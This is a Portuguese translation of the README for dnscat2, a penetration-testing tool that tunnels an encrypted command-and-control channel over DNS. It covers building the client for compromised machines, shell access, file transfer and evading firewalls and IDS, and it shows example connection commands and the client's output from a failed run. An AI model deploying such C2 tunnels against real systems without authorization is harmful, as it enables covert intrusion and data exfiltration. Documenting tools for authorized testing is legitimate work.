
Túnel criptografado de comando e controle sobre o protocolo DNS. Cria canais C&C furtivos para testes de penetração, com transferência de arquivos, acesso ao shell e capacidades de encaminhamento de porta através de consultas DNS.
***** NOTA: A senha para os downloads .zip é toda "password"! *****
Bem-vindo ao dnscat2, um túnel DNS que NÃO vai te deixar doente e te matar!
Esta ferramenta foi projetada para criar um canal de comando e controle (C&C) criptografado sobre o protocolo DNS, que é um túnel eficaz para fora de quase todas as redes.
Este arquivo README deve conter tudo que você precisa para começar a usar! Se você estiver interessado em se aprofundar no protocolo, em como o código é estruturado, em planos futuros ou em outros assuntos esotéricos, confira a pasta doc/.
Isto é lançado sob a licença BSD. Consulte LICENSE.md para mais informações.
dnscat2 vem em duas partes: o cliente e o servidor.
O cliente é projetado para ser executado em uma máquina comprometida. É escrito em C e tem o mínimo possível de dependências. Deve funcionar praticamente em qualquer lugar (se você encontrar um sistema onde ele não compila ou executa, por favor, abra um ticket, especialmente se puder me ajudar a obter acesso a esse sistema).
Quando você executa o cliente, normalmente especifica um nome de domínio. Todas as requisições serão enviadas para o servidor DNS local, que são então redirecionadas para o servidor DNS autoritativo para aquele domínio (que você, presumivelmente, tem controle).
Se você não tiver um servidor DNS autoritativo, também pode usar conexões diretas na UDP/53 (ou qualquer porta que escolher). Elas serão mais rápidas e ainda parecerão tráfego DNS para o observador casual, mas são muito mais óbvias em um log de pacotes (todos os domínios são prefixados com "dnscat.", a menos que você hackeie o código-fonte). Este modo frequentemente será bloqueado por firewalls.
O servidor é projetado para ser executado em um servidor DNS autoritativo. É em Ruby e depende de várias gems diferentes. Quando você o executa, assim como o cliente, especifica quais domínios ele deve ouvir, além de ouvir mensagens enviadas diretamente a ele na UDP/53. Quando recebe tráfego para um desses domínios, tenta estabelecer uma conexão lógica. Se receber outro tráfego, o ignora por padrão, mas também pode encaminhá-lo upstream.
Instruções detalhadas para ambas as partes estão abaixo.
dnscat2 se esforça para ser diferente de outros protocolos de tunelamento DNS por ser projetado para um propósito especial: comando e controle.
Isso não foi projetado para tirar você de uma rede de hotel ou para obter Internet gratuita em um avião. E não apenas tunela TCP.
Ele pode tunelar qualquer dado, sem protocolo anexado. O que significa que pode enviar e receber arquivos, pode executar um shell, e pode fazer essas coisas bem. Também pode potencialmente tunelar TCP, mas isso só será adicionado no contexto de uma ferramenta de teste de penetração (ou seja, tunelar TCP para dentro de uma rede), não como uma ferramenta de tunelamento de uso geral. Isso já foi feito, não é interessante (para mim).
Também é criptografado por padrão. Acredito que nenhum outro túnel DNS público criptografa todo o tráfego!
Aqui estão alguns links importantes:
A teoria por trás do dnscat2 é simples: ele cria um túnel sobre o protocolo DNS.
Por quê? Porque o DNS tem uma propriedade incrível: ele vai de servidor a servidor até descobrir para onde deve ir.
Isso significa que, para o dnscat obter tráfego de uma rede segura, ele simplesmente precisa enviar mensagens para um servidor DNS, que encaminhará felizmente as coisas através da rede DNS até chegar ao seu servidor DNS.
Isso, é claro, pressupõe que você tenha acesso a um servidor DNS autoritativo. dnscat2 também suporta conexões "diretas" - ou seja, executar um cliente dnscat que se conecta diretamente ao seu dnscat no seu endereço IP e porta UDP 53 (por padrão). O tráfego ainda parece tráfego DNS e pode passar por sistemas IDS/IPS mais burros, mas ainda assim provavelmente será parado por firewalls.
Se você não sabe como configurar um servidor DNS autoritativo, é algo que você precisa configurar com um provedor de domínio. izhan gentilmente escreveu um para você!
Compilar o cliente deve ser bem direto - tudo que você precisa para compilar é make/gcc (para Linux) ou Cygwin ou Microsoft Visual Studio (para Windows). Aqui estão os comandos no Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
No Windows, carregue client/win32/dnscat2.vcproj no Visual Studio e clique em "build". Eu criei e testei no Visual Studio 2008 - até conseguir uma cópia legítima gratuita de uma versão mais recente, provavelmente vou continuar com essa. :)
Se a compilação falhar, por favor, abra um bug na minha página do github! Por favor, envie detalhes sobre seu sistema.
Você pode verificar se o dnscat2 foi compilado com sucesso executando-o sem flags; você verá que ele tenta iniciar um túnel DNS com o servidor DNS configurado (o que falhará):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating